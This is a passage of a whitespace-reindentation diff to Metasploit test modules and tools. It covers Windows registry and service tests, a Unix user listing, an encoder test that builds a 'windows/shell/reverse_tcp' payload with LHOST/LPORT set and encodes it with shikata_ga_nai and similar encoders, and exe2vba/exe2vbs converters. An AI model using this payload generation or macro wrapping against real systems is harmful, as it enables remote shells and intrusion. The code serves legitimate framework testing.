ret &&= !!(results.kind_of? Array) + ret &&= !!(results.length == 1) + + ret + end + + end + + def test_datastore + + if (datastore["WIN_CONST"]) + it "should look up arbitrary constants" do + ret = true + results = select_const_names(datastore['WIN_CONST'], datastore['WCREGEX']) + #vprint_status("RESULTS: #{results.class} #{results.pretty_inspect}") + + ret + end + end + + if (datastore["ERR_CODE"]) + it "should look up arbitrary error codes" do + ret = true + results = lookup_error(datastore['ERR_CODE'], datastore['ECREGEX']) + #vprint_status("RESULTS: #{results.class} #{results.inspect}") + + ret + end + end + + end end diff --git a/test/modules/post/test/registry.rb b/test/modules/post/test/registry.rb index 527cf190c11b..d22b3fc7aa7a 100644 --- a/test/modules/post/test/registry.rb +++ b/test/modules/post/test/registry.rb @@ -15,141 +15,141 @@ class Metasploit3 < Msf::Post - include Msf::ModuleTest::PostTest - include Msf::Post::Windows::Registry - - def initialize(info={}) - super( update_info( info, - 'Name' => 'registry_post_testing', - 'Description' => %q{ This module will test Post::Windows::Registry API methods }, - 'License' => MSF_LICENSE, - 'Author' => [ - 'kernelsmith', # original - 'egypt', # PostTest conversion - ], - 'Platform' => [ 'windows' ] - )) - end - - def test_0_registry_read - pending "should evaluate key existence" do - # these methods are not implemented - k_exists = registry_key_exist?(%q#HKCU\Environment#) - k_dne = registry_key_exist?(%q#HKLM\\Non\Existent\Key#) - - (k_exists && !k_dne) - end - - pending "should evaluate value existence" do - # these methods are not implemented - v_exists = registry_value_exist?(%q#HKCU\Environment#, "TEMP") - v_dne = registry_value_exist?(%q#HKLM\\Non\Existent\Key#, "asdf") - - (v_exists && !v_dne) - end - - it "should read values" do - ret = true - valinfo = registry_getvalinfo(%q#HKCU\Environment#, "TEMP") - ret &&= !!(valinfo["Data"]) - ret &&= !!(valinfo["Type"]) - - valdata = registry_getvaldata(%q#HKCU\Environment#, "TEMP") - ret &&= !!(valinfo["Data"] == valdata) - - ret - end - - it "should return normalized values" do - ret = true - valinfo = registry_getvalinfo(%q#HKCU\Environment#, "TEMP") - if (valinfo.nil?) - ret = false - else - # type == 2 means string - ret &&= !!(valinfo["Type"] == 2) - ret &&= !!(valinfo["Data"].kind_of? String) - - valinfo = registry_getvalinfo(%q#HKLM\Software\Microsoft\Active Setup#, "DisableRepair") - if (valinfo.nil?) - ret = false - else - # type == 4 means DWORD - ret &&= !!(valinfo["Type"] == 4) - ret &&= !!(valinfo["Data"].kind_of? Numeric) - end - end - - ret - end - - it "should enumerate keys and values" do - ret = true - # Has no keys, should return an empty Array - keys = registry_enumkeys(%q#HKCU\Environment#) - ret &&= (keys.kind_of? Array) - - vals = registry_enumvals(%q#HKCU\Environment#) - ret &&= (vals.kind_of? Array) - ret &&= (vals.count > 0) - ret &&= (vals.include? "TEMP") - - ret - end - - end - - def test_1_registry_write - it "should create keys" do - ret = registry_createkey(%q#HKCU\test_key#) - end - - it "should write REG_SZ values" do - ret = true - registry_setvaldata(%q#HKCU\test_key#, "test_val_str", "str!", "REG_SZ") - registry_setvaldata(%q#HKCU\test_key#, "test_val_dword", 1234, "REG_DWORD") - valinfo = registry_getvalinfo(%q#HKCU\test_key#, "test_val_str") - if (valinfo.nil?) - ret = false - else - # type == REG_SZ means string - ret &&= !!(valinfo["Type"] == 1) - ret &&= !!(valinfo["Data"].kind_of? String) - ret &&= !!(valinfo["Data"] == "str!") - end - - ret - end - - - it "should write REG_DWORD values" do - ret = true - registry_setvaldata(%q#HKCU\test_key#, "test_val_dword", 1234, "REG_DWORD") - valinfo = registry_getvalinfo(%q#HKCU\test_key#, "test_val_dword") - if (valinfo.nil?) - ret = false - else - ret &&= !!(valinfo["Type"] == 4) - ret &&= !!(valinfo["Data"].kind_of? Numeric) - ret &&= !!(valinfo["Data"] == 1234) - end - ret - end - - it "should delete keys" do - ret = registry_deleteval(%q#HKCU\test_key#, "test_val_str") - valinfo = registry_getvalinfo(%q#HKCU\test_key#, "test_val_str") - # getvalinfo should return nil for a non-existent key - ret &&= (valinfo.nil?) - ret &&= registry_deletekey(%q#HKCU\test_key#) - # Deleting the key should delete all its values - valinfo = registry_getvalinfo(%q#HKCU\test_key#, "test_val_dword") - ret &&= (valinfo.nil?) - - ret - end - - end + include Msf::ModuleTest::PostTest + include Msf::Post::Windows::Registry + + def initialize(info={}) + super( update_info( info, + 'Name' => 'registry_post_testing', + 'Description' => %q{ This module will test Post::Windows::Registry API methods }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'kernelsmith', # original + 'egypt', # PostTest conversion + ], + 'Platform' => [ 'windows' ] + )) + end + + def test_0_registry_read + pending "should evaluate key existence" do + # these methods are not implemented + k_exists = registry_key_exist?(%q#HKCU\Environment#) + k_dne = registry_key_exist?(%q#HKLM\\Non\Existent\Key#) + + (k_exists && !k_dne) + end + + pending "should evaluate value existence" do + # these methods are not implemented + v_exists = registry_value_exist?(%q#HKCU\Environment#, "TEMP") + v_dne = registry_value_exist?(%q#HKLM\\Non\Existent\Key#, "asdf") + + (v_exists && !v_dne) + end + + it "should read values" do + ret = true + valinfo = registry_getvalinfo(%q#HKCU\Environment#, "TEMP") + ret &&= !!(valinfo["Data"]) + ret &&= !!(valinfo["Type"]) + + valdata = registry_getvaldata(%q#HKCU\Environment#, "TEMP") + ret &&= !!(valinfo["Data"] == valdata) + + ret + end + + it "should return normalized values" do + ret = true + valinfo = registry_getvalinfo(%q#HKCU\Environment#, "TEMP") + if (valinfo.nil?) + ret = false + else + # type == 2 means string + ret &&= !!(valinfo["Type"] == 2) + ret &&= !!(valinfo["Data"].kind_of? String) + + valinfo = registry_getvalinfo(%q#HKLM\Software\Microsoft\Active Setup#, "DisableRepair") + if (valinfo.nil?) + ret = false + else + # type == 4 means DWORD + ret &&= !!(valinfo["Type"] == 4) + ret &&= !!(valinfo["Data"].kind_of? Numeric) + end + end + + ret + end + + it "should enumerate keys and values" do + ret = true + # Has no keys, should return an empty Array + keys = registry_enumkeys(%q#HKCU\Environment#) + ret &&= (keys.kind_of? Array) + + vals = registry_enumvals(%q#HKCU\Environment#) + ret &&= (vals.kind_of? Array) + ret &&= (vals.count > 0) + ret &&= (vals.include? "TEMP") + + ret + end + + end + + def test_1_registry_write + it "should create keys" do + ret = registry_createkey(%q#HKCU\test_key#) + end + + it "should write REG_SZ values" do + ret = true + registry_setvaldata(%q#HKCU\test_key#, "test_val_str", "str!", "REG_SZ") + registry_setvaldata(%q#HKCU\test_key#, "test_val_dword", 1234, "REG_DWORD") + valinfo = registry_getvalinfo(%q#HKCU\test_key#, "test_val_str") + if (valinfo.nil?) + ret = false + else + # type == REG_SZ means string + ret &&= !!(valinfo["Type"] == 1) + ret &&= !!(valinfo["Data"].kind_of? String) + ret &&= !!(valinfo["Data"] == "str!") + end + + ret + end + + + it "should write REG_DWORD values" do + ret = true + registry_setvaldata(%q#HKCU\test_key#, "test_val_dword", 1234, "REG_DWORD") + valinfo = registry_getvalinfo(%q#HKCU\test_key#, "test_val_dword") + if (valinfo.nil?) + ret = false + else + ret &&= !!(valinfo["Type"] == 4) + ret &&= !!(valinfo["Data"].kind_of? Numeric) + ret &&= !!(valinfo["Data"] == 1234) + end + ret + end + + it "should delete keys" do + ret = registry_deleteval(%q#HKCU\test_key#, "test_val_str") + valinfo = registry_getvalinfo(%q#HKCU\test_key#, "test_val_str") + # getvalinfo should return nil for a non-existent key + ret &&= (valinfo.nil?) + ret &&= registry_deletekey(%q#HKCU\test_key#) + # Deleting the key should delete all its values + valinfo = registry_getvalinfo(%q#HKCU\test_key#, "test_val_dword") + ret &&= (valinfo.nil?) + + ret + end + + end end diff --git a/test/modules/post/test/services.rb b/test/modules/post/test/services.rb index 005fa01ce749..a09af403eca0 100644 --- a/test/modules/post/test/services.rb +++ b/test/modules/post/test/services.rb @@ -11,176 +11,176 @@ class Metasploit3 < Msf::Post - include Msf::Post::Windows::Services - - include Msf::ModuleTest::PostTest - - def initialize(info={}) - super( update_info( info, - 'Name' => 'Test Post::Windows::Services', - 'Description' => %q{ This module will test windows services methods within a shell}, - 'License' => MSF_LICENSE, - 'Author' => [ 'kernelsmith', 'egypt' ], - 'Version' => '$Revision: 11663 $', - 'Platform' => [ 'windows' ], - 'SessionTypes' => [ 'meterpreter', 'shell' ] - )) - register_options( - [ - OptString.new("QSERVICE" , [true, "Service (keyname) to query", "winmgmt"]), - OptString.new("NSERVICE" , [true, "New Service (keyname) to create/del", "testes"]), - OptString.new("SSERVICE" , [true, "Service (keyname) to start/stop", "W32Time"]), - OptString.new("DNAME" , [true, "Display name used for create test", "Cool display name"]), - OptString.new("BINPATH" , [true, "Binary path for create test", "C:\\WINDOWS\\system32\\svchost.exe -k netsvcs"]), - OptEnum.new("MODE", [true, "Mode to use for startup/create tests", "auto", - ["auto", "manual", "disable"] - ]), - ], self.class) - - end - - def test_start - it "should start #{datastore["SSERVICE"]}" do - ret = true - results = service_start(datastore['SSERVICE']) - if results != 0 - # Failed the first time, try to stop it first, then try again - service_stop(datastore['SSERVICE']) - results = service_start(datastore['SSERVICE']) - end - ret &&= (results == 0) - - ret - end - it "should stop #{datastore["SSERVICE"]}" do - ret = true - results = service_stop(datastore['SSERVICE']) - ret &&= (results == 0) - - ret - end - end - - def test_list - it "should list services" do - ret = true - results = service_list - - ret &&= results.kind_of? Array - ret &&= results.length > 0 - ret &&= results.include? datastore["QSERVICE"] - - ret - end - end - - def test_info - it "should return info on a given service" do - ret = true - results = service_info(datastore['QSERVICE']) - - ret &&= results.kind_of? Hash - if ret - ret &&= results.has_key? "Name" - ret &&= (results["Name"] == "Windows Management Instrumentation") - ret &&= results.has_key? "Startup" - ret &&= results.has_key? "Command" - ret &&= results.has_key? "Credentials" - end - - ret - end - end - - def test_create - it "should create a service" do - mode = case datastore["MODE"] - when "disable"; 4 - when "manual"; 3 - when "auto"; 2 - else; 2 - end - ret = service_create(datastore['NSERVICE'],datastore['DNAME'],datastore['BINPATH'],mode) - - ret - end - - it "should return info on the newly-created service" do - ret = true - results = service_info(datastore['NSERVICE']) - - ret &&= results.kind_of? Hash - ret &&= results.has_key? "Name" - ret &&= (results["Name"] == datastore["DNAME"]) - ret &&= results.has_key? "Startup" - ret &&= (results["Startup"].downcase == datastore["MODE"]) - ret &&= results.has_key? "Command" - ret &&= results.has_key? "Credentials" - - ret - end - - it "should delete the new service" do - ret = service_delete(datastore['NSERVICE']) - - ret - end - end + include Msf::Post::Windows::Services + + include Msf::ModuleTest::PostTest + + def initialize(info={}) + super( update_info( info, + 'Name' => 'Test Post::Windows::Services', + 'Description' => %q{ This module will test windows services methods within a shell}, + 'License' => MSF_LICENSE, + 'Author' => [ 'kernelsmith', 'egypt' ], + 'Version' => '$Revision: 11663 $', + 'Platform' => [ 'windows' ], + 'SessionTypes' => [ 'meterpreter', 'shell' ] + )) + register_options( + [ + OptString.new("QSERVICE" , [true, "Service (keyname) to query", "winmgmt"]), + OptString.new("NSERVICE" , [true, "New Service (keyname) to create/del", "testes"]), + OptString.new("SSERVICE" , [true, "Service (keyname) to start/stop", "W32Time"]), + OptString.new("DNAME" , [true, "Display name used for create test", "Cool display name"]), + OptString.new("BINPATH" , [true, "Binary path for create test", "C:\\WINDOWS\\system32\\svchost.exe -k netsvcs"]), + OptEnum.new("MODE", [true, "Mode to use for startup/create tests", "auto", + ["auto", "manual", "disable"] + ]), + ], self.class) + + end + + def test_start + it "should start #{datastore["SSERVICE"]}" do + ret = true + results = service_start(datastore['SSERVICE']) + if results != 0 + # Failed the first time, try to stop it first, then try again + service_stop(datastore['SSERVICE']) + results = service_start(datastore['SSERVICE']) + end + ret &&= (results == 0) + + ret + end + it "should stop #{datastore["SSERVICE"]}" do + ret = true + results = service_stop(datastore['SSERVICE']) + ret &&= (results == 0) + + ret + end + end + + def test_list + it "should list services" do + ret = true + results = service_list + + ret &&= results.kind_of? Array + ret &&= results.length > 0 + ret &&= results.include? datastore["QSERVICE"] + + ret + end + end + + def test_info + it "should return info on a given service" do + ret = true + results = service_info(datastore['QSERVICE']) + + ret &&= results.kind_of? Hash + if ret + ret &&= results.has_key? "Name" + ret &&= (results["Name"] == "Windows Management Instrumentation") + ret &&= results.has_key? "Startup" + ret &&= results.has_key? "Command" + ret &&= results.has_key? "Credentials" + end + + ret + end + end + + def test_create + it "should create a service" do + mode = case datastore["MODE"] + when "disable"; 4 + when "manual"; 3 + when "auto"; 2 + else; 2 + end + ret = service_create(datastore['NSERVICE'],datastore['DNAME'],datastore['BINPATH'],mode) + + ret + end + + it "should return info on the newly-created service" do + ret = true + results = service_info(datastore['NSERVICE']) + + ret &&= results.kind_of? Hash + ret &&= results.has_key? "Name" + ret &&= (results["Name"] == datastore["DNAME"]) + ret &&= results.has_key? "Startup" + ret &&= (results["Startup"].downcase == datastore["MODE"]) + ret &&= results.has_key? "Command" + ret &&= results.has_key? "Credentials" + + ret + end + + it "should delete the new service" do + ret = service_delete(datastore['NSERVICE']) + + ret + end + end =begin - def run - blab = datastore['VERBOSE'] - print_status("Running against session #{datastore["SESSION"]}") - print_status("Session type is #{session.type}") - print_status("Verbosity is set to #{blab.to_s}") - print_status("Don't be surprised to see some errors as the script is faster") - print_line("than the windows SCM, just make sure the errors are sane. You can") - print_line("set VERBOSE to true to see more details") - - print_status() - print_status("TESTING service_query_ex on servicename: #{datastore["QSERVICE"]}") - results = service_query_ex(datastore['QSERVICE']) - print_status("RESULTS: #{results.class} #{results.pretty_inspect}") - - print_status() - print_status("TESTING service_query_config on servicename: #{datastore["QSERVICE"]}") - results = service_query_config(datastore['QSERVICE']) - print_status("RESULTS: #{results.class} #{results.pretty_inspect}") - - print_status() - print_status("TESTING service_change_startup on servicename: #{datastore['QSERVICE']} " + - "to #{datastore['MODE']}") - results = service_change_startup(datastore['QSERVICE'],datastore['MODE']) - print_status("RESULTS: #{results.class} #{results.pretty_inspect}") - print_status("Current status of this service " + - "#{service_query_ex(datastore['QSERVICE']).pretty_inspect}") if blab - - print_status() - print_status("TESTING service_start on servicename: #{datastore['SSERVICE']}") - results = service_start(datastore['SSERVICE']) - print_status("RESULTS: #{results.class} #{results.pretty_inspect}") - print_status("Current status of this service " + - "#{service_query_ex(datastore['SSERVICE']).pretty_inspect}") if blab - print_status("Sleeping to give the service a chance to start") - select(nil, nil, nil, 2) # give the service time to start, reduces false negatives - - print_status() - print_status("TESTING service_stop on servicename: #{datastore['SSERVICE']}") - results = service_stop(datastore['SSERVICE']) - print_status("RESULTS: #{results.class} #{results.pretty_inspect}") - print_status("Current status of this service " + - "#{service_query_ex(datastore['SSERVICE']).pretty_inspect}") if blab - - print_status() - print_status("TESTING service_delete on servicename: #{datastore['NSERVICE']}") - results = service_delete(datastore['NSERVICE']) - print_status("RESULTS: #{results.class} #{results.pretty_inspect}") - print_status("Current status of this service " + - "#{service_query_ex(datastore['QSERVICE']).pretty_inspect}") if blab - print_status() - print_status("Testing complete.") - end + def run + blab = datastore['VERBOSE'] + print_status("Running against session #{datastore["SESSION"]}") + print_status("Session type is #{session.type}") + print_status("Verbosity is set to #{blab.to_s}") + print_status("Don't be surprised to see some errors as the script is faster") + print_line("than the windows SCM, just make sure the errors are sane. You can") + print_line("set VERBOSE to true to see more details") + + print_status() + print_status("TESTING service_query_ex on servicename: #{datastore["QSERVICE"]}") + results = service_query_ex(datastore['QSERVICE']) + print_status("RESULTS: #{results.class} #{results.pretty_inspect}") + + print_status() + print_status("TESTING service_query_config on servicename: #{datastore["QSERVICE"]}") + results = service_query_config(datastore['QSERVICE']) + print_status("RESULTS: #{results.class} #{results.pretty_inspect}") + + print_status() + print_status("TESTING service_change_startup on servicename: #{datastore['QSERVICE']} " + + "to #{datastore['MODE']}") + results = service_change_startup(datastore['QSERVICE'],datastore['MODE']) + print_status("RESULTS: #{results.class} #{results.pretty_inspect}") + print_status("Current status of this service " + + "#{service_query_ex(datastore['QSERVICE']).pretty_inspect}") if blab + + print_status() + print_status("TESTING service_start on servicename: #{datastore['SSERVICE']}") + results = service_start(datastore['SSERVICE']) + print_status("RESULTS: #{results.class} #{results.pretty_inspect}") + print_status("Current status of this service " + + "#{service_query_ex(datastore['SSERVICE']).pretty_inspect}") if blab + print_status("Sleeping to give the service a chance to start") + select(nil, nil, nil, 2) # give the service time to start, reduces false negatives + + print_status() + print_status("TESTING service_stop on servicename: #{datastore['SSERVICE']}") + results = service_stop(datastore['SSERVICE']) + print_status("RESULTS: #{results.class} #{results.pretty_inspect}") + print_status("Current status of this service " + + "#{service_query_ex(datastore['SSERVICE']).pretty_inspect}") if blab + + print_status() + print_status("TESTING service_delete on servicename: #{datastore['NSERVICE']}") + results = service_delete(datastore['NSERVICE']) + print_status("RESULTS: #{results.class} #{results.pretty_inspect}") + print_status("Current status of this service " + + "#{service_query_ex(datastore['QSERVICE']).pretty_inspect}") if blab + print_status() + print_status("Testing complete.") + end =end end diff --git a/test/modules/post/test/unix.rb b/test/modules/post/test/unix.rb index c71954179ef2..a637c7ccac45 100644 --- a/test/modules/post/test/unix.rb +++ b/test/modules/post/test/unix.rb @@ -9,42 +9,42 @@ class Metasploit4 < Msf::Post - include Msf::ModuleTest::PostTest - include Msf::Post::Linux::System - include Msf::Post::Unix - include Msf::Post::Common - - def initialize(info={}) - super( update_info( info, - 'Name' => 'Testing Remote Unix System Manipulation', - 'Description' => %q{ This module will test Post::File API methods }, - 'License' => MSF_LICENSE, - 'Author' => [ 'egypt'], - 'Platform' => [ 'linux', 'java' ], - 'SessionTypes' => [ 'meterpreter', 'shell' ] - )) - end - - def test_unix - it "should list users" do - ret = true - users = get_users - ret &&= users.kind_of? Array - ret &&= users.length > 0 - have_root = false - if ret - users.each { |u| - next unless u[:name] == "root" - have_root = true - } - end - ret - ret &&= have_root - - ret - end - - end + include Msf::ModuleTest::PostTest + include Msf::Post::Linux::System + include Msf::Post::Unix + include Msf::Post::Common + + def initialize(info={}) + super( update_info( info, + 'Name' => 'Testing Remote Unix System Manipulation', + 'Description' => %q{ This module will test Post::File API methods }, + 'License' => MSF_LICENSE, + 'Author' => [ 'egypt'], + 'Platform' => [ 'linux', 'java' ], + 'SessionTypes' => [ 'meterpreter', 'shell' ] + )) + end + + def test_unix + it "should list users" do + ret = true + users = get_users + ret &&= users.kind_of? Array + ret &&= users.length > 0 + have_root = false + if ret + users.each { |u| + next unless u[:name] == "root" + have_root = true + } + end + ret + ret &&= have_root + + ret + end + + end end diff --git a/test/tests/00_create_all_modules_test.rb b/test/tests/00_create_all_modules_test.rb index 52b1ff8c5976..e9ebc7afcc95 100644 --- a/test/tests/00_create_all_modules_test.rb +++ b/test/tests/00_create_all_modules_test.rb @@ -1,12 +1,12 @@ require 'testbase' describe Msf::Simple::Framework do - $msf.modules.each_module do |name, mod| - ref = name - klass = mod - it "should be able create #{ref}" do - e = $msf.modules.create(ref) + $msf.modules.each_module do |name, mod| + ref = name + klass = mod + it "should be able create #{ref}" do + e = $msf.modules.create(ref) e.should_not == nil - end - end + end + end end diff --git a/test/tests/01_all_exploits_have_payloads_test.rb b/test/tests/01_all_exploits_have_payloads_test.rb index 20e985bed299..8a511ba2042e 100644 --- a/test/tests/01_all_exploits_have_payloads_test.rb +++ b/test/tests/01_all_exploits_have_payloads_test.rb @@ -1,14 +1,14 @@ require 'testbase' describe Msf::Simple::Framework do - $msf.exploits.each_module do |name, mod| - e = $msf.exploits.create(name) - e.targets.each_with_index do |t, idx| - it "#{name} target #{idx} should have compatible payloads" do - e.datastore['TARGET'] = idx - r = e.compatible_payloads - r.length.should_not == 0 - end - end - end + $msf.exploits.each_module do |name, mod| + e = $msf.exploits.create(name) + e.targets.each_with_index do |t, idx| + it "#{name} target #{idx} should have compatible payloads" do + e.datastore['TARGET'] = idx + r = e.compatible_payloads + r.length.should_not == 0 + end + end + end end diff --git a/test/tests/test_encoders.rb b/test/tests/test_encoders.rb index d59df128ea62..429b56f95c83 100644 --- a/test/tests/test_encoders.rb +++ b/test/tests/test_encoders.rb @@ -6,7 +6,7 @@ msfbase = __FILE__ while File.symlink?(msfbase) - msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) + msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) end $:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', '..', 'lib'))) @@ -20,100 +20,100 @@ EXPLOITS = $msf.exploits def print_line( message ) - $stdout.puts( message ) + $stdout.puts( message ) end def format_badchars( badchars ) - str = '' - if( badchars ) - badchars.each_byte do | b | - str << "\\x%02X" % [ b ] - end - end - str + str = '' + if( badchars ) + badchars.each_byte do | b | + str << "\\x%02X" % [ b ] + end + end + str end def encoder_v_payload( encoder_name, payload, verbose=false ) - success = 0 - fail = 0 - EXPLOITS.each_module do | name, mod | - - exploit = mod.new - print_line( "\n#{encoder_name} v #{name} (#{ format_badchars( exploit.payload_badchars ) })" ) if verbose - begin - encoder = $msf.encoders.create( encoder_name ) - raw = encoder.encode( payload, exploit.payload_badchars, nil, nil ) - success += 1 - rescue - print_line( " FAILED! badchars=#{ format_badchars( exploit.payload_badchars ) }\n" ) if verbose - fail += 1 - end - end - return [ success, fail ] + success = 0 + fail = 0 + EXPLOITS.each_module do | name, mod | + + exploit = mod.new + print_line( "\n#{encoder_name} v #{name} (#{ format_badchars( exploit.payload_badchars ) })" ) if verbose + begin + encoder = $msf.encoders.create( encoder_name ) + raw = encoder.encode( payload, exploit.payload_badchars, nil, nil ) + success += 1 + rescue + print_line( " FAILED! badchars=#{ format_badchars( exploit.payload_badchars ) }\n" ) if verbose + fail += 1 + end + end + return [ success, fail ] end def generate_payload( name ) - payload = $msf.payloads.create( name ) - - # set options for a reverse_tcp payload - payload.datastore['LHOST'] = '192.168.2.1' - payload.datastore['RHOST'] = '192.168.2.254' - payload.datastore['RPORT'] = '5432' - payload.datastore['LPORT'] = '4444' - # set options for an exec payload - payload.datastore['CMD'] = 'calc' - # set generic options - payload.datastore['EXITFUNC'] = 'thread' - - return payload.generate + payload = $msf.payloads.create( name ) + + # set options for a reverse_tcp payload + payload.datastore['LHOST'] = '192.168.2.1' + payload.datastore['RHOST'] = '192.168.2.254' + payload.datastore['RPORT'] = '5432' + payload.datastore['LPORT'] = '4444' + # set options for an exec payload + payload.datastore['CMD'] = 'calc' + # set generic options + payload.datastore['EXITFUNC'] = 'thread' + + return payload.generate end def run( encoders, payload_name, verbose=false ) - payload = generate_payload( payload_name ) + payload = generate_payload( payload_name ) - table = Rex::Ui::Text::Table.new( - 'Header' => 'Encoder v Payload Test - ' + ::Time.new.strftime( "%d-%b-%Y %H:%M:%S" ), - 'Indent' => 4, - 'Columns' => [ 'Encoder Name', 'Success', 'Fail' ] - ) + table = Rex::Ui::Text::Table.new( + 'Header' => 'Encoder v Payload Test - ' + ::Time.new.strftime( "%d-%b-%Y %H:%M:%S" ), + 'Indent' => 4, + 'Columns' => [ 'Encoder Name', 'Success', 'Fail' ] + ) - encoders.each do | encoder_name | + encoders.each do | encoder_name | - success, fail = encoder_v_payload( encoder_name, payload, verbose ) + success, fail = encoder_v_payload( encoder_name, payload, verbose ) - table << [ encoder_name, success, fail ] - - end + table << [ encoder_name, success, fail ] + + end - return table + return table end if( $0 == __FILE__ ) - print_line( "[+] Starting.\n" ) + print_line( "[+] Starting.\n" ) - encoders = [ - 'x86/bloxor', - 'x86/shikata_ga_nai', - 'x86/jmp_call_additive', - 'x86/fnstenv_mov', - 'x86/countdown', - 'x86/call4_dword_xor' - ] + encoders = [ + 'x86/bloxor', + 'x86/shikata_ga_nai', + 'x86/jmp_call_additive', + 'x86/fnstenv_mov', + 'x86/countdown', + 'x86/call4_dword_xor' + ] - payload_name = 'windows/shell/reverse_tcp' - - verbose = false - - result_table = run( encoders, payload_name, verbose ) + payload_name = 'windows/shell/reverse_tcp' + + verbose = false + + result_table = run( encoders, payload_name, verbose ) - print_line( "\n\n#{result_table.to_s}\n\n" ) + print_line( "\n\n#{result_table.to_s}\n\n" ) - print_line( "[+] Finished.\n" ) + print_line( "[+] Finished.\n" ) end - \ No newline at end of file + \ No newline at end of file diff --git a/tools/committer_count.rb b/tools/committer_count.rb index 0b3bf42a03ea..f0b6a9782718 100755 --- a/tools/committer_count.rb +++ b/tools/committer_count.rb @@ -28,43 +28,43 @@ class GitLogLine < Struct.new(:date, :hash, :author, :message) @commits_by_author = {} def parse_date(date) - case date - when /([0-9]+)y(ear)?s?/ - seconds = $1.to_i* (60*60*24*365.25) - calc_date = (Time.now - seconds).strftime("%Y-%m-%d") - when /([0-9]+)m(onth)?s?/ - seconds = $1.to_i* (60*60*24*(365.25 / 12)) - calc_date = (Time.now - seconds).strftime("%Y-%m-%d") - when /([0-9]+)w(eek)?s?/ - seconds = $1.to_i* (60*60*24*7) - calc_date = (Time.now - seconds).strftime("%Y-%m-%d") - when /([0-9]+)d(ay)?s?/ - seconds = $1.to_i* (60*60*24) - calc_date = (Time.now - seconds).strftime("%Y-%m-%d") - else - calc_date = Time.new(date).strftime("%Y-%m-%d") - end + case date + when /([0-9]+)y(ear)?s?/ + seconds = $1.to_i* (60*60*24*365.25) + calc_date = (Time.now - seconds).strftime("%Y-%m-%d") + when /([0-9]+)m(onth)?s?/ + seconds = $1.to_i* (60*60*24*(365.25 / 12)) + calc_date = (Time.now - seconds).strftime("%Y-%m-%d") + when /([0-9]+)w(eek)?s?/ + seconds = $1.to_i* (60*60*24*7) + calc_date = (Time.now - seconds).strftime("%Y-%m-%d") + when /([0-9]+)d(ay)?s?/ + seconds = $1.to_i* (60*60*24) + calc_date = (Time.now - seconds).strftime("%Y-%m-%d") + else + calc_date = Time.new(date).strftime("%Y-%m-%d") + end end date = ARGV[0] || "2005-03-22" # A day before the first SVN commit. calc_date = parse_date(date) @history.each_line do |line| - parsed_line = line.match(/^([^\s+]+)\s(.{7,})\s'(.*)'\s(.*)[\r\n]*$/) - next unless parsed_line - break if calc_date == parsed_line[1] - @recent_history << GitLogLine.new(*parsed_line[1,4]) + parsed_line = line.match(/^([^\s+]+)\s(.{7,})\s'(.*)'\s(.*)[\r\n]*$/) + next unless parsed_line + break if calc_date == parsed_line[1] + @recent_history << GitLogLine.new(*parsed_line[1,4]) end @recent_history.each do |logline| - @commits_by_author[logline.author] ||= [] - @commits_by_author[logline.author] << logline.message + @commits_by_author[logline.author] ||= [] + @commits_by_author[logline.author] << logline.message end puts "Commits since #{calc_date}" puts "-" * 50 @commits_by_author.sort_by {|k,v| v.size}.reverse.each do |k,v| - puts "%-25s %3d" % [k,v.size] + puts "%-25s %3d" % [k,v.size] end diff --git a/tools/convert_31.rb b/tools/convert_31.rb index c11e0d09f70d..a35c6e31747c 100755 --- a/tools/convert_31.rb +++ b/tools/convert_31.rb @@ -10,38 +10,38 @@ endc = 0 data.each_line do |line| - if(line =~ /^\s*module\s+[A-Z]/) - endc += 1 - next - end - - if(line =~ /^(\s*)include (.*)/) - spaces = $1 - inc = $2 - if (inc !~ /Msf/) - line = "#{spaces}include Msf::#{inc.strip}\n" - end - end - - if(line =~ /^(\s*)class ([^\<]+)\s*<\s*(.*)/) - prefix = "" - spaces = $1 - parent = $3 - - if(parent !~ /^Msf/) - prefix = "Msf::" - end - line = "#{spaces}class Metasploit3 < #{prefix}#{parent.strip}\n" - end - - outp += line + if(line =~ /^\s*module\s+[A-Z]/) + endc += 1 + next + end + + if(line =~ /^(\s*)include (.*)/) + spaces = $1 + inc = $2 + if (inc !~ /Msf/) + line = "#{spaces}include Msf::#{inc.strip}\n" + end + end + + if(line =~ /^(\s*)class ([^\<]+)\s*<\s*(.*)/) + prefix = "" + spaces = $1 + parent = $3 + + if(parent !~ /^Msf/) + prefix = "Msf::" + end + line = "#{spaces}class Metasploit3 < #{prefix}#{parent.strip}\n" + end + + outp += line end endc.downto(1) do |idx| - i = outp.rindex("end") - outp[i, 4] = "" if i + i = outp.rindex("end") + outp[i, 4] = "" if i end outp.rstrip! diff --git a/tools/dev/set_binary_encoding.rb b/tools/dev/set_binary_encoding.rb index 511e03b54b7b..059f4165f4c8 100644 --- a/tools/dev/set_binary_encoding.rb +++ b/tools/dev/set_binary_encoding.rb @@ -8,18 +8,18 @@ done = nil fd = ::File.open(fname, "rb") fd.each_line do |line| - if line =~ /^#.*coding:.*/ - done = true - end + if line =~ /^#.*coding:.*/ + done = true + end if not done - unless line =~ /^#\!.*env ruby/ - data << str + "\n" - done = true - end - end + unless line =~ /^#\!.*env ruby/ + data << str + "\n" + done = true + end + end - data << line + data << line end fd.close diff --git a/tools/exe2vba.rb b/tools/exe2vba.rb index 22e674bf3964..e40912dfc6a5 100755 --- a/tools/exe2vba.rb +++ b/tools/exe2vba.rb @@ -10,7 +10,7 @@ msfbase = __FILE__ while File.symlink?(msfbase) - msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) + msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) end $:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', 'lib'))) @@ -23,15 +23,15 @@ require 'msf/base' def usage - $stderr.puts(" Usage: #{$0} [exe] [vba]\n") - exit + $stderr.puts(" Usage: #{$0} [exe] [vba]\n") + exit end exe = ARGV.shift vba = ARGV.shift if (not (exe and vba)) - usage + usage end out = File.new(vba, "w") @@ -39,7 +39,7 @@ def usage dat = "" while(buf = inp.read(8192)) - dat << buf + dat << buf end out.write(Msf::Util::EXE.to_exe_vba(dat)) diff --git a/tools/exe2vbs.rb b/tools/exe2vbs.rb index e4c47240ae23..b4b54df1bb18 100755 --- a/tools/exe2vbs.rb +++ b/tools/exe2vbs.rb @@ -9,7 +9,7 @@ msfbase = __FILE__ while File.symlink?(msfbase) - msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) + msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) end 